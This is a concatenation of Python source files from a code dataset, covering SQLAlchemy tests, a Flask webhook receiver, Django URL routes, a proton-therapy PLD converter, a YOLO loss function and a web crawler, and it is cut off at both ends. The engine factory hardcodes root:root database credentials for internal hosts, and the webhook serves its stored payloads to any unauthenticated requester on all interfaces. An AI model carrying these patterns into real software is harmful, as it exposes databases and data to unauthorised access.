Union'\n\n self.session.persist(europe)\n self.session.flush()\n\n # Confirm that only the name of the country is updated\n self.assertEqual('Europian Union', europe.name)\n self.assertEqual('England', europe.countries[0].name)\n\n # Refresh the entity\n self.session.refresh(europe)\n\n # Confirm that refreshing doesn't work with reverse-mapping properties.\n self.assertEqual('Europian Union', europe.name)\n self.assertEqual('England', europe.countries[0].name)","sub_path":"test/testcase/test_db_uow_cascade_on_refresh.py","file_name":"test_db_uow_cascade_on_refresh.py","file_ext":"py","file_size_in_byte":4017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"117973345","text":"# import MySQLdb\nfrom sqlalchemy import create_engine, MetaData\nfrom sqlalchemy.orm import sessionmaker\n\nmetadata = MetaData()\n\n\nclass EngineFactory:\n @staticmethod\n def create_engine_to_center(echo=True):\n engine = create_engine(\"mysql+pymysql://root:root@10.141.221.87/domainkg?charset=utf8\", encoding='utf-8',\n echo=echo)\n return engine\n\n\n @staticmethod\n def create_engine_by_schema_name(schema_name, echo=True):\n if schema_name == 'stackoverflow':\n engine = create_engine(\"mysql+pymysql://root:root@10.131.252.160/stackoverflow?charset=utf8\",\n encoding='utf-8',\n echo=echo)\n return engine\n elif schema_name == 'knowledgeGraph':\n engine = create_engine(\"mysql+pymysql://root:root@10.141.221.75/knowledgeGraph?charset=utf8\",\n encoding='utf-8',\n echo=echo)\n return engine\n elif schema_name == 'codehub':\n engine = create_engine(\"mysql+pymysql://root:root@10.141.221.73/codehub?charset=utf8\", encoding='utf-8',\n echo=echo)\n return engine\n elif schema_name == 'domainkg':\n engine = create_engine(\"mysql+pymysql://root:root@10.141.221.87/domainkg?charset=utf8\", encoding='utf-8',\n echo=echo)\n return engine\n else:\n return None\n\n @staticmethod\n def create_session(engine=None, autocommit=False,echo=True):\n if engine is None:\n engine = EngineFactory.create_engine_to_center(echo=echo)\n\n Session = sessionmaker(bind=engine, autocommit=autocommit)\n session = Session()\n return session\n\n","sub_path":"engine_factory.py","file_name":"engine_factory.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"24286874","text":"from flask import Flask, request\r\n#from OpenSSL import SSL\r\nimport os\r\nimport json\r\n\r\nfilename = 'C:\\\\webhook\\\\webhookPayloads.json' #file that webhook payloads will be written\r\n\r\nif os.path.exists(filename):\r\n append_write = 'a' # append if already exists\r\nelse:\r\n append_write = 'w' # make a new file if not\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/', methods=['POST','GET'])\r\ndef index():\r\n if request.method == 'GET':\r\n f = open(filename, 'r')\r\n return f.read()\r\n \r\n if request.method == 'POST':\r\n f = open(filename,append_write)\r\n req_data = request.get_json()\r\n str_obj = json.dumps(req_data)\r\n f.write(str_obj+'\\n')\r\n f.close()\r\n return '{\"success\":\"true\"}'\r\n\r\nif __name__ == \"__main__\": \r\n #context = ('ssl.cert', 'ssl.key') # certificate and key file. Cannot be self signed certs \r\n app.run(host='0.0.0.0', port=5000, threaded=True) # will listen on port 5000\r\n","sub_path":"python/receiver/flask/webhook-test.py","file_name":"webhook-test.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"65573605","text":"#!/usr/bin/env python3\n\n\"\"\"Main.\"\"\"\n\nimport sys\nfrom cpu import *\n\nif len(sys.argv) is not 2:\n print(\"Missing second argument. Try typing python ls8.py example/mult.ls8\")\n sys.exit(1)\n\ncpu = CPU()\n\ncpu.load(sys.argv[1])\ncpu.run()\n","sub_path":"ls8/ls8.py","file_name":"ls8.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"267015319","text":"from django.conf.urls import patterns, include, url\nfrom django.conf.urls.static import static\nfrom django.conf import settings\n\nurlpatterns = patterns('',\n # Captcha URLS\n url(r'^captcha/', include('captcha.urls')),\n # Static URLS\n url(r'^$', 'icodeviruses.views.index', name='index'),\n # Forum Urls\n url(r'^forum/(\\d+)/$', 'forum.views.forum_id', name='forum_id'),\n url(r'^forum/','forum.views.forum', name='forum'),\n # Authentication Urls\n url(r'^register/', 'registration.views.register', name='register'),\n url(r'^loginuser/','authentication.views.login_user', name='loginuser'),\n url(r'^logoutuser/','authentication.views.logout_user', name='logoutuser'),\n # Admin Urls\n url(r'^admin/users/','admin.views.admin_users', name='admin_users'),\n url(r'^admin/forums/','admin.views.admin_forums', name='admin_forums'),\n)\n\n# Uncomment the next line to serve media files in dev.\n# urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\nif settings.DEBUG:\n import debug_toolbar\n urlpatterns += patterns('',\n url(r'^__debug__/', include(debug_toolbar.urls)),\n )\n","sub_path":"icodeviruses/icodeviruses/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"286832848","text":"#Problem : 2016 Qualifiers - Lost in the Pantry\n#Language : Python\n#Compiled Using : py_compile\n#Version : Python 2.7.8\n#Input for your program will be provided from STDIN\n#Print out all output from your program to STDOUT\n\nfrom __future__ import print_function\nfrom collections import deque\nimport sys\n\nclass Point:\n def __init__(self, row, col):\n self.row = row\n self.col = col\n self.val = 0\n self.checked = False\n\n def goTo(self, end):\n self.checked = True\n if end.row == self.row and end.col == self.col:\n res = 1\n elif end.val != self.val:\n res = 0\n else:\n i, j = [self.row, self.col]\n res = self.call(i-1, j, end) + self.call(i, j-1, end) + self.call(i+1, j, end) + self.call(i, j+1, end)\n\n self.checked = False\n return res\n\n def call(self, row, col, end):\n if 0 <= row < nbRow and 0 <= col < nbCol:\n if not maze[row][col].checked:\n res = maze[row][col].goTo(end)\n if res > 0:\n return res + 1\n return 0\n\n def printPoint(self, full=False):\n res = \"(\"+str(self.row)+\",\"+str(self.col)+\")\"\n if (full):\n res += \", val=\"+str(self.val)\n return res\n\n\ndata = deque(sys.stdin.read().splitlines())\nnbRow, nbCol = map(lambda i: int(i), data.popleft().split(\" \"))\n\nmaze = [[Point(i, j) for j in range(0,nbCol)] for i in range(0,nbRow)]\n\nfor i in range(0, nbRow):\n row = data.popleft()\n for j in range(0, nbCol):\n maze[i][j].val = row[j]\n\nrow, col = map(lambda i: int(i), data.popleft().split(\" \"))\nstart = maze[row][col]\nrow, col = map(lambda i: int(i), data.popleft().split(\" \"))\nend = maze[row][col]\n\nlength = start.goTo(end)\n\nprint(length)","sub_path":"lost_in_the_pantry.py","file_name":"lost_in_the_pantry.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"651431443","text":"\"\"\"\nReads PLD file in IBA format and convert to sobp.dat\nwhich is readable by FLUKA with source_sampler.f and by SHIELD-HIT12A.\n\nTODO: Translate energy to spotsize.\n\"\"\"\nimport sys\nimport logging\nimport argparse\nfrom math import exp, log\n\nlogger = logging.getLogger(__name__)\n\n\ndef dedx_air(energy):\n \"\"\"\n Calculate the mass stopping power of protons in air following ICRU 49.\n Valid from 1 to 500 MeV only.\n\n :params energy: Proton energy in MeV\n :returns: mass stopping power in MeV cm2/g\n \"\"\"\n if energy > 500.0 or energy < 1.0:\n logger.error(\"Proton energy must be between 1 and 500 MeV.\")\n raise ValueError(\"Energy = {:.2f} out of bounds.\".format(energy))\n\n x = log(energy)\n y = 5.4041 - 0.66877 * x - 0.034441 * (x**2) - 0.0010707 * (x**3) + 0.00082584 * (x**4)\n return exp(y)\n\n\nclass Layer(object):\n \"\"\"\n Class for handling Layers.\n \"\"\"\n def __init__(self, spotsize, energy, meterset, elsum, repaints, elements):\n self.spotsize = float(spotsize)\n self.energy = float(energy)\n self.meterset = float(meterset) # MU sum of this + all previous layers\n self.elsum = float(elsum) # sum of elements in this layer\n self.repaints = int(repaints) # number of repaints\n self.elements = elements # number of elements\n self.spots = int(len(elements) / 2) # there are two elements per spot\n\n self.x = [0.0] * self.spots\n self.y = [0.0] * self.spots\n self.w = [0.0] * self.spots # MU weight\n self.rf = [0.0] * self.spots # fluence weight\n\n j = 0\n for element in elements:\n token = element.split(\",\")\n if token[3] != \"0.0\":\n self.x[j] = float(token[1].strip())\n self.y[j] = float(token[2].strip())\n self.w[j] = float(token[3].strip()) # meterset weight of this spot\n self.rf[j] = self.w[j]\n j += 1 # only every second token has a element we need.\n\n\nclass PLDRead(object):\n \"\"\"\n Class for handling PLD files.\n \"\"\"\n\n def __init__(self, fpld):\n \"\"\" Read the rst file.\"\"\"\n\n pldlines = fpld.readlines()\n pldlen = len(pldlines)\n logger.info(\"Read {} lines of data.\".format(pldlen))\n\n self.layers = []\n\n # parse first line\n token = pldlines[0].split(\",\")\n self.beam = token[0].strip()\n self.patient_iD = token[1].strip()\n self.patient_name = token[2].strip()\n self.patient_initals = token[3].strip()\n self.patient_firstname = token[4].strip()\n self.plan_label = token[5].strip()\n self.beam_name = token[6].strip()\n self.mu = float(token[7].strip())\n self.csetweight = float(token[8].strip())\n self.nrlayers = int(token[9].strip()) # number of layers\n\n for i in range(1, pldlen): # loop over all lines starting from the second one\n line = pldlines[i]\n if \"Layer\" in line:\n header = line\n\n token = header.split(\",\")\n # extract the subsequent lines with elements\n el_first = i + 1\n el_last = el_first + int(token[4])\n\n elements = pldlines[el_first:el_last]\n\n # read number of repaints only if 5th column is present, otherwise set to 0\n repaints_no = 0\n if 5 in token:\n repaints_no = token[5].strip()\n\n self.layers.append(Layer(token[1].strip(), # Spot1\n token[2].strip(), # energy\n token[3].strip(), # cumulative meter set weight including this layer\n token[4].strip(), # number of elements in this layer\n repaints_no, # number of repaints.\n elements)) # array holding all elements for this layer\n\n\ndef main(args=None):\n \"\"\" Main function of the pld2sobp script.\n \"\"\"\n if args is None:\n args = sys.argv[1:]\n\n import pymchelper\n\n # _scaling holds the number of particles * dE/dx / MU = some constant\n # _scaling = 8.106687e7 # Calculated Nov. 2016 from Brita's 32 Gy plan. (no dE/dx)\n _scaling = 5.1821e8 # Estimated calculation Apr. 2017 from Brita's 32 Gy plan.\n\n parser = argparse.ArgumentParser()\n parser.add_argument('fin', metavar=\"input_file.pld\", type=argparse.FileType('r'),\n help=\"path to .pld input file in IBA format.\",\n default=sys.stdin)\n parser.add_argument('fout', nargs='?', metavar=\"output_file.dat\", type=argparse.FileType('w'),\n help=\"path to the SHIELD-HIT12A/FLUKA output file, or print to stdout if not given.\",\n default=sys.stdout)\n parser.add_argument('-f', '--flip', action='store_true', help=\"flip XY axis\", dest=\"flip\", default=False)\n parser.add_argument('-d', '--diag', action='store_true', help=\"prints additional diagnostics\",\n dest=\"diag\", default=False)\n parser.add_argument('-s', '--scale', type=float, dest='scale',\n help=\"number of particles*dE/dx per MU.\", default=_scaling)\n parser.add_argument('-v', '--verbosity', action='count', help=\"increase output verbosity\", default=0)\n parser.add_argument('-V', '--version', action='version', version=pymchelper.__version__)\n args = parser.parse_args(args)\n\n if args.verbosity == 1:\n logging.basicConfig(level=logging.INFO)\n if args.verbosity > 1:\n logging.basicConfig(level=logging.DEBUG)\n\n pld_data = PLDRead(args.fin)\n args.fin.close()\n\n # SH12A takes any form of list of values, as long as the line is shorter than 78 Chars.\n outstr = \"{:-10.6f} {:-10.2f} {:-10.2f} {:-10.2f} {:-16.6E}\\n\"\n\n meterset_weight_sum = 0.0\n particles_sum = 0.0\n\n for layer in pld_data.layers:\n spotsize = 2.354820045 * layer.spotsize * 0.1 # 1 sigma im mm -> 1 cm FWHM\n\n for spot_x, spot_y, spot_w, spot_rf in zip(layer.x, layer.y, layer.w, layer.rf):\n\n weight = spot_rf * pld_data.mu / pld_data.csetweight\n # Need to convert to weight by fluence, rather than weight by dose\n # for building the SOBP. Monitor Units (MU) = \"meterset\", are per dose\n # in the monitoring Ionization chamber, which returns some signal\n # proportional to dose to air. D = phi * S => MU = phi * S(air)\n phi_weight = weight / dedx_air(layer.energy)\n\n # add number of paricles in this spot\n particles_spot = args.scale * phi_weight\n particles_sum += particles_spot\n\n meterset_weight_sum += spot_w\n\n layer_xy = [spot_x * 0.1, spot_y * 0.1]\n\n if args.flip:\n layer_xy.reverse()\n\n args.fout.writelines(outstr.format(layer.energy * 0.001, # MeV -> GeV\n layer_xy[0],\n layer_xy[1],\n spotsize,\n particles_spot))\n\n logger.info(\"Data were scaled with a factor of {:e} particles*S/MU.\".format(args.scale))\n if args.flip:\n logger.info(\"Output file was XY flipped.\")\n\n if args.diag:\n energy_list = [layer.energy for layer in pld_data.layers]\n\n # double loop over all layers and over all spots in a layer\n spot_x_list = [x for layer in pld_data.layers for x in layer.x]\n spot_y_list = [y for layer in pld_data.layers for y in layer.y]\n spot_w_list = [w for layer in pld_data.layers for w in layer.w]\n\n print(\"\")\n print(\"Diagnostics:\")\n print(\"------------------------------------------------\")\n print(\"Total MUs : {:10.4f}\".format(pld_data.mu))\n print(\"Total meterset weigths : {:10.4f}\".format(meterset_weight_sum))\n print(\"Total particles : {:10.4e} (estimated)\".format(particles_sum))\n print(\"------------------------------------------------\")\n for i, energy in enumerate(energy_list):\n print(\"Energy in layer {:3} : {:10.4f} MeV\".format(i, energy))\n print(\"------------------------------------------------\")\n print(\"Highest energy : {:10.4f} MeV\".format(max(energy_list)))\n print(\"Lowest energy : {:10.4f} MeV\".format(min(energy_list)))\n print(\"------------------------------------------------\")\n print(\"Spot X min/max : {:10.4f} {:10.4f} mm\".format(min(spot_x_list), max(spot_x_list)))\n print(\"Spot Y min/max : {:10.4f} {:10.4f} mm\".format(min(spot_y_list), max(spot_y_list)))\n print(\"Spot meterset min/max : {:10.4f} {:10.4f} \".format(min(spot_w_list), max(spot_w_list)))\n print(\"\")\n args.fout.close()\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv[1:]))\n","sub_path":"pymchelper/utils/pld2sobp.py","file_name":"pld2sobp.py","file_ext":"py","file_size_in_byte":9020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"608162469","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.4 (3310)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/wb_vandalism/feature_lists/wikidata.py\n# Compiled at: 2015-12-19 13:27:28\n# Size of source mod 2**32: 6094 bytes\nfrom revscoring.features import user\nfrom revscoring.features.modifiers import not_, log\nfrom ..features import diff, revision\n\nclass properties:\n __doc__ = '\\n Mapping of english descriptions to property identifiers\\n '\n IMAGE = 'P18'\n SEX_OR_GENDER = 'P21'\n COUNTRY_OF_CITIZENSHIP = 'P27'\n INSTANCE_OF = 'P31'\n MEMBER_OF_SPORTS_TEAM = 'P54'\n SIGNATURE = 'P109'\n COMMONS_CATEGORY = 'P373'\n DATE_OF_BIRTH = 'P569'\n DATE_OF_DEATH = 'P570'\n OFFICIAL_WEBSITE = 'P856'\n\n\nclass items:\n __doc__ = '\\n Mapping of english descriptions to item idenifiers\\n '\n HUMAN = 'Q5'\n\n\nis_client_delete = revision.comment_matches('^\\\\/\\\\* clientsitelink\\\\-remove\\\\:', name='revision.is_client_delete')\nis_client_move = revision.comment_matches('^\\\\/\\\\* clientsitelink\\\\-update\\\\:', name='revision.is_client_move')\nis_merge_into = revision.comment_matches('^\\\\/\\\\* wbmergeitems\\\\-to\\\\:', name='revision.is_merge_into')\nis_merge_from = revision.comment_matches('^\\\\/\\\\* wbmergeitems\\\\-from\\\\:', name='revision.is_merge_from')\nis_revert = revision.comment_matches('^Reverted edits by \\\\[\\\\[Special\\\\:Contributions', name='revision.is_revert')\nis_rollback = revision.comment_matches('^Undid revision ', name='revision.is_rollback')\nis_restore = revision.comment_matches('^Restored revision ', name='revision.is_restore')\nis_item_creation = revision.comment_matches('^\\\\/\\\\* (wbsetentity|wbeditentity-create\\\\:0\\\\|) \\\\*\\\\/', name='revision.is_item_creation')\nsex_or_gender_changed = diff.property_changed(properties.SEX_OR_GENDER, name='diff.sex_or_gender_changed')\ncountry_of_citizenship_changed = diff.property_changed(properties.COUNTRY_OF_CITIZENSHIP, name='diff.country_of_citizenship_changed')\nmember_of_sports_team_changed = diff.property_changed(properties.MEMBER_OF_SPORTS_TEAM, name='diff.member_of_sports_team_changed')\ndate_of_birth_changed = diff.property_changed(properties.DATE_OF_BIRTH, name='diff.date_of_birth_changed')\nimage_changed = diff.property_changed(properties.IMAGE, name='diff.image_changed')\nsignature_changed = diff.property_changed(properties.SIGNATURE, name='diff.signature_changed')\ncommons_category_changed = diff.property_changed(properties.COMMONS_CATEGORY, name='diff.commons_category_changed')\nofficial_website_changed = diff.property_changed(properties.OFFICIAL_WEBSITE, name='diff.official_website_changed')\nis_human = revision.has_property_value(properties.INSTANCE_OF, items.HUMAN, name='revision.is_human')\nhas_birthday = revision.has_property(properties.DATE_OF_BIRTH, name='revision.has_birthday')\ndead = revision.has_property(properties.DATE_OF_BIRTH, name='revision.dead')\nis_blp = has_birthday.and_(not_(dead))\nreverted = [\n log(user.age + 1),\n diff.number_added_sitelinks,\n diff.number_removed_sitelinks,\n diff.number_changed_sitelinks,\n diff.number_added_labels,\n diff.number_removed_labels,\n diff.number_changed_labels,\n diff.number_added_descriptions,\n diff.number_removed_descriptions,\n diff.number_changed_descriptions,\n diff.number_added_aliases,\n diff.number_removed_aliases,\n diff.number_added_claims,\n diff.number_removed_claims,\n diff.number_changed_claims,\n diff.number_changed_identifiers,\n diff.en_label_touched,\n diff.number_added_sources,\n diff.number_removed_sources,\n diff.number_added_qualifiers,\n diff.number_removed_qualifiers,\n diff.number_added_badges,\n diff.number_removed_badges,\n diff.proportion_of_qid_added,\n diff.proportion_of_language_added,\n diff.proportion_of_links_added,\n is_client_move,\n is_client_delete,\n is_merge_into,\n is_merge_from,\n is_revert,\n is_rollback,\n is_restore,\n is_item_creation,\n sex_or_gender_changed,\n country_of_citizenship_changed,\n member_of_sports_team_changed,\n date_of_birth_changed,\n image_changed,\n signature_changed,\n commons_category_changed,\n official_website_changed,\n log(revision.number_claims + 1),\n log(revision.number_aliases + 1),\n log(revision.number_sources + 1),\n log(revision.number_qualifiers + 1),\n log(revision.number_badges + 1),\n log(revision.number_labels + 1),\n log(revision.number_sitelinks + 1),\n log(revision.number_descriptions + 1),\n is_human,\n is_blp,\n user.is_bot,\n user.is_anon]","sub_path":"pycfiles/wb_vandalism-0.1.8-py3.4/wikidata.cpython-34.py","file_name":"wikidata.cpython-34.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"265062561","text":"import os\nimport shutil\nimport unittest\nfrom contextlib import contextmanager\n\nimport time\nimport json\nimport subprocess\n\nfrom shapeflow import settings, ROOTDIR, save_settings\n\nCACHE = os.path.join(ROOTDIR, 'test_main-cache')\nDB = os.path.join(ROOTDIR, 'test_main-history.db')\nSTATE = os.path.join(ROOTDIR, 'test_main-state')\nSETTINGS = os.path.join(ROOTDIR, 'settings')\n\nHOST = \"127.0.0.1\"\nPORT = 7951\n\n\n\ndef api(*args):\n return \"/\".join([f\"http://{HOST}:{PORT}/api\"] + list(args))\n\n\ndef get(url):\n with subprocess.Popen(['curl', '-X', 'GET', url], stdout=subprocess.PIPE) as p:\n response, error = p.communicate()\n return response\n\n\ndef post(url, data=None):\n if data is None:\n with subprocess.Popen(['curl', '-X', 'POST', url], stdout=subprocess.PIPE) as p:\n response, error = p.communicate()\n else:\n with subprocess.Popen(['curl', '-X', 'POST', url, '--header', \"Content-Type: application/json\", '--data', data], stdout=subprocess.PIPE) as p:\n response, error = p.communicate()\n return response\n\n\ndef start_server():\n return subprocess.Popen(\n ['python', 'sf.py', 'serve', '--background', '--host', HOST, '--port', str(PORT)],\n cwd='..'\n )\n\n@contextmanager\ndef override_settings():\n # Clean up after previous runs (just in case)\n if os.path.exists(CACHE):\n shutil.rmtree(CACHE)\n if os.path.exists(DB):\n os.remove(DB)\n if os.path.exists(STATE):\n os.remove(STATE)\n\n try:\n with settings.cache.override({\"dir\": CACHE}), \\\n settings.db.override({\"path\": DB}), \\\n settings.app.override({\"state_path\": STATE}):\n save_settings()\n yield\n finally:\n save_settings()\n\n if os.path.exists(CACHE):\n shutil.rmtree(CACHE)\n if os.path.exists(DB):\n os.remove(DB)\n if os.path.exists(STATE):\n os.remove(STATE)\n\n@unittest.skip(\"Unreliable\")\nclass ServerTest(unittest.TestCase):\n def setUp(self) -> None:\n r = post(api('quit'))\n if r:\n time.sleep(5)\n\n def tearDown(self) -> None:\n r = post(api('quit'))\n if r:\n time.sleep(5)\n\n \"\"\"Test server-level methods\"\"\"\n def test_startup(self):\n with override_settings():\n # Server is down, no response\n self.assertEqual(b'', get(api('ping')))\n\n # Start server & wait a bit\n start_server()\n time.sleep(5)\n\n # Server is up, some response\n self.assertNotEqual(b'', get(api('ping')))\n\n # Quit server & wait a bit\n post(api('quit'))\n time.sleep(5)\n\n # Server is down, no response again\n self.assertEqual(b'', get(api('ping')))\n\n def test_unload_shutdown(self):\n with override_settings():\n # Start server & wait a bit\n start_server()\n time.sleep(5)\n\n # Server is up, some response\n self.assertNotEqual(b'', get(api('ping')))\n\n # Post unload trigger\n post(api('unload'))\n\n # Wait for 10 seconds, server should have quit\n time.sleep(10)\n self.assertEqual(b'', get(api('ping')))\n\n def test_unload_keepup(self):\n with override_settings():\n # Start server & wait a bit\n start_server()\n time.sleep(5)\n\n # Server is up, some response\n self.assertNotEqual(b'', get(api('ping')))\n\n # Post unload trigger\n post(api('unload'))\n\n # Wait for 1 seconds, server should still be up\n time.sleep(1)\n self.assertNotEqual(b'', get(api('ping')))\n\n # Wait for 10 seconds, server should still be up\n time.sleep(10)\n self.assertNotEqual(b'', get(api('ping')))\n\n def test_set_settings_restart(self):\n with override_settings():\n # Start server & wait a bit\n p = start_server()\n time.sleep(5)\n\n # Server is up, some response\n self.assertNotEqual(b'', get(api('ping')))\n\n first_pid = get(api('pid_hash'))\n first_settings = json.loads(get(api('get_settings')))\n\n # Post set_settings trigger & wait a bit\n post(api('set_settings'), data=json.dumps({'settings': {'log': {'keep': 0}}}))\n time.sleep(10)\n\n # Server is up on the same address, some response\n self.assertNotEqual(b'', get(api('ping')))\n second_settings = json.loads(get(api('get_settings')))\n\n # Server is on a different PID\n self.assertNotEqual(first_pid, get(api('pid_hash')))\n\n # second_settings.log.keep == 0\n self.assertEqual(0, second_settings['log']['keep'])\n\n # Set settings gack to first_settings\n post(api('set_settings'), data=json.dumps({'settings': first_settings}))\n time.sleep(10)\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"test/test_server.py","file_name":"test_server.py","file_ext":"py","file_size_in_byte":5035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"32132963","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 5 14:41:11 2021\n\n@author: 66441\n\"\"\"\n\nimport numpy as np\n\na = np.arange(0,10).reshape(2,-1)\nprint(\"a:\\n\", a)\nnp.save(\"a.npy\", a)\nb = np.load(\"a.npy\")\nprint(\"b:\\n\", b)","sub_path":"save_txt.py","file_name":"save_txt.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"499508037","text":"import keras.backend as k\n\n\ndef iou(pre_min, pre_max, true_min, true_max):\n\n intersect_min = k.maximum(pre_min, true_min) # batch * 7 * 7 * 2 * 2\n intersect_max = k.minimum(pre_max, true_max) # batch * 7 * 7 * 2 * 2\n\n intersect_wh = k.maximum(intersect_max - intersect_min, 0.) # batch * 7 * 7 * 2 * 2\n intersect_area = intersect_wh[..., 0] * intersect_wh[..., 1] # batch * 7 * 7 * 2\n\n pre_wh = pre_max - pre_min # batch * 7 * 7 * 2 * 2\n true_wh = true_max - true_min # batch * 7 * 7 * 1 * 2\n pre_area = pre_wh[..., 0] * pre_wh[..., 1] # batch * 7 * 7 * 2\n true_area = true_wh[..., 0] * true_wh[..., 1] # batch * 7 * 7 * 1\n\n union_area = pre_area + true_area - intersect_area # batch * 7 * 7 * 2\n iou_score = intersect_area / union_area # batch * 7 * 7 * 2\n\n return iou_score\n\n\ndef yolo_loss(y_true, y_pre):\n\n true_class = y_true[..., :1] # batch * 7 * 7 * 1\n true_confidence = y_true[..., 1] # batch * 7 * 7\n true_confidence1 = k.expand_dims(true_confidence) # batch * 7 * 7 * 1\n true_location = y_true[..., 2:6] # batch * 7 * 7 * 4\n\n pre_class = y_pre[..., :1] # batch * 7 * 7 * 1\n pre_confidence = y_pre[..., 1:3] # batch * 7 * 7 * 2\n pre_location = y_pre[..., 3:11] # batch * 7 * 7 * 8\n\n true_location1 = k.reshape(true_location, [-1, 7, 7, 1, 4]) # batch * 7 * 7 * 1 * 4\n pre_location1 = k.reshape(pre_location, [-1, 7, 7, 2, 4]) # batch * 7 * 7 * 2 * 4\n\n true_xy = true_location1[..., :2] * 448 / 7 # batch * 7 * 7 * 1 * 2\n true_wh = true_location1[..., 2:4] * 448 # batch * 7 * 7 * 1 * 2\n true_xy_min = true_xy - true_wh / 2 # batch * 7 * 7 * 1 * 2\n true_xy_max = true_xy + true_wh / 2 # batch * 7 * 7 * 1 * 2\n\n pre_xy = pre_location1[..., :2] * 448 / 7 # batch * 7 * 7 * 2 * 2\n pre_wh = pre_location1[..., 2:4] * 448 # batch * 7 * 7 * 2 * 2\n pre_xy_min = pre_xy - pre_wh / 2 # batch * 7 * 7 * 2 * 2\n pre_xy_max = pre_xy + pre_wh / 2 # batch * 7 * 7 * 2 * 2\n\n iou_score = iou(pre_xy_min, pre_xy_max, true_xy_min, true_xy_max) # batch * 7 * 7 * 2\n best_score = k.max(iou_score, axis=3, keepdims=True) # batch * 7 * 7 * 1\n box_mask = k.cast(iou_score >= best_score, k.dtype(iou_score)) # batch * 7 * 7 * 2\n\n no_object_loss = 0.5 * (1 - box_mask * true_confidence1) * k.square(0 - pre_confidence)\n object_loss = box_mask * true_confidence1 * k.square(1 - pre_confidence)\n confidence_loss = no_object_loss + object_loss\n confidence_loss = k.sum(confidence_loss)\n\n class_loss = true_confidence1 * k.square(true_class - pre_class)\n class_loss = k.sum(class_loss)\n\n box_mask1 = k.expand_dims(box_mask) # batch * 7 * 7 * 2 * 1\n true_confidence2 = k.expand_dims(true_confidence1) # batch * 7 * 7 * 1 * 1\n\n location_loss_xy = 5 * box_mask1 * true_confidence2 * k.square((true_xy - pre_xy) / 448)\n location_loss_wh = 5 * box_mask1 * true_confidence2 * k.square((k.sqrt(true_wh) - k.sqrt(pre_wh)) / 448)\n location_loss = k.sum(location_loss_xy) + k.sum(location_loss_wh)\n\n total_loss = confidence_loss + class_loss + location_loss\n\n return total_loss\n\n\n","sub_path":"yolo_loss.py","file_name":"yolo_loss.py","file_ext":"py","file_size_in_byte":3169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"332628994","text":"from urllib.request import urlopen\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport re\nfrom datetime import datetime\nimport time\nimport random\nfrom tqdm import tqdm\nimport numpy as np\n\n\nclass newsletter_crawler:\n\n def __init__(self, newsletter_name, archive_url, archive_front_page):\n self.archive_url = archive_url\n self.archive_front_page = archive_front_page\n self.issue_args = ['h1']\n self.date_args = ['time', {'class': 'published'}]\n self.category_args = ['section', {'class':re.compile(\"(category cc).\")}]\n self.category_title_args = ['span', {'class':'category__title__text'}]\n self.item_title_args = ['h3', {'class':'item__title'}]\n self.item_link_args = ['h3', {'class':'item__title'}]\n self.item_summary_args = ['span', {'class':'item__summary'}]\n self.issue_data = set([])\n\n self.session = requests.session()\n self.headers = {'User-Agent': 'Chrome66.0'}\n\n def extract_child(self, find_func, tag, attribs, regex = '[^(A-Za-z0-9.,>!?\\s+)]+'):\n '''\n general function that finds children elements that are defined by {tag, {attribs} and returns cleaned up corresponding text\n \n parameters:\n find_func: find or find_all function of a parent element. e.g. category.find\n tag: element tag to find. e.g. 'h2'\n attribs: element attributes to find e.g. 'class: text\n \n '''\n \n children = find_func(tag, attribs)\n if regex is not None:\n children = [re.sub(regex, '', child.get_text()) for child in children]\n\n return children\n \n def parse_category_data(self, category):\n '''\n extracts category title, list item title, and list item summary in a dataelixir newsletter\n '''\n\n cat_title = self.extract_child(category.find_all, *self.category_title_args)\n\n titles = self.extract_child(category.find_all, *self.item_title_args)\n\n links = self.extract_child(category.find, *self.item_link_args, regex = None)\n if links.a is not None:\n links = links.a.attrs['href']\n else:\n links = [np.nan]*len(titles)\n\n summaries = self.extract_child(category.find_all, *self.item_summary_args)\n\n\n category_data = {'category_title':cat_title[0], 'item_title': titles, 'item_summary':summaries, 'link':links}\n return pd.DataFrame(category_data)\n \n def get_latest_issue(self):\n '''\n extracts the latest issue number\n '''\n \n session = requests.session()\n headers = {'User-Agent': 'Chrome66.0'}\n url = self.archive_front_page\n req = session.get(url, headers=headers)\n bs = BeautifulSoup(req.text, 'lxml')\n issue_headers = bs.find_all('h2', {'class': 'item__heading'})\n latest_issue = next(issue_headers[0].children)\n latest_issue_num = int(latest_issue[-3:])\n \n return latest_issue_num\n \n def get_issue_data(self, bs):\n '''gets issue number and date'''\n \n if self.issue_args is not None:\n issue = bs.find(*self.issue_args).children\n issue_num = re.sub('[^A-Za-z0-9]+', '',next(issue))\n else:\n issue_num = np.nan\n\n if self.date_args is not None:\n \tdate = bs.find(self.date_args).get_text()\n \tdate = 